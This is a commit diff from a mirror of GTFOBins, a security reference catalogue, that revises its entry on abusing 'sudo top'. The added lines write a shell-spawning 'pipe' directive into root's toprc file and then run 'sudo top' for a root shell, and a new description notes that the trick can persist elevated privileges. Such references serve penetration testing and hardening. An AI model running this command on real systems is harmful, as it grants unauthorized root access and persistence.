1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-22 15:26:04 +02:00

Fix and clarify sudo for top

Related #81.
This commit is contained in:
Andrea Cardaci 2020-01-28 22:33:55 +01:00
parent 51d7b541dc
commit 236f88cd34

View File

@ -8,8 +8,9 @@ functions:
# press return twice # press return twice
reset reset
sudo: sudo:
- code: | - description: This requires that the root configuration file is writable and might be used to persist elevated privileges.
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>~/.config/procps/toprc code: |
echo -e 'pipe\tx\texec /bin/sh 1>&0 2>&0' >>/root/.config/procps/toprc
sudo top sudo top
# press return twice # press return twice
reset reset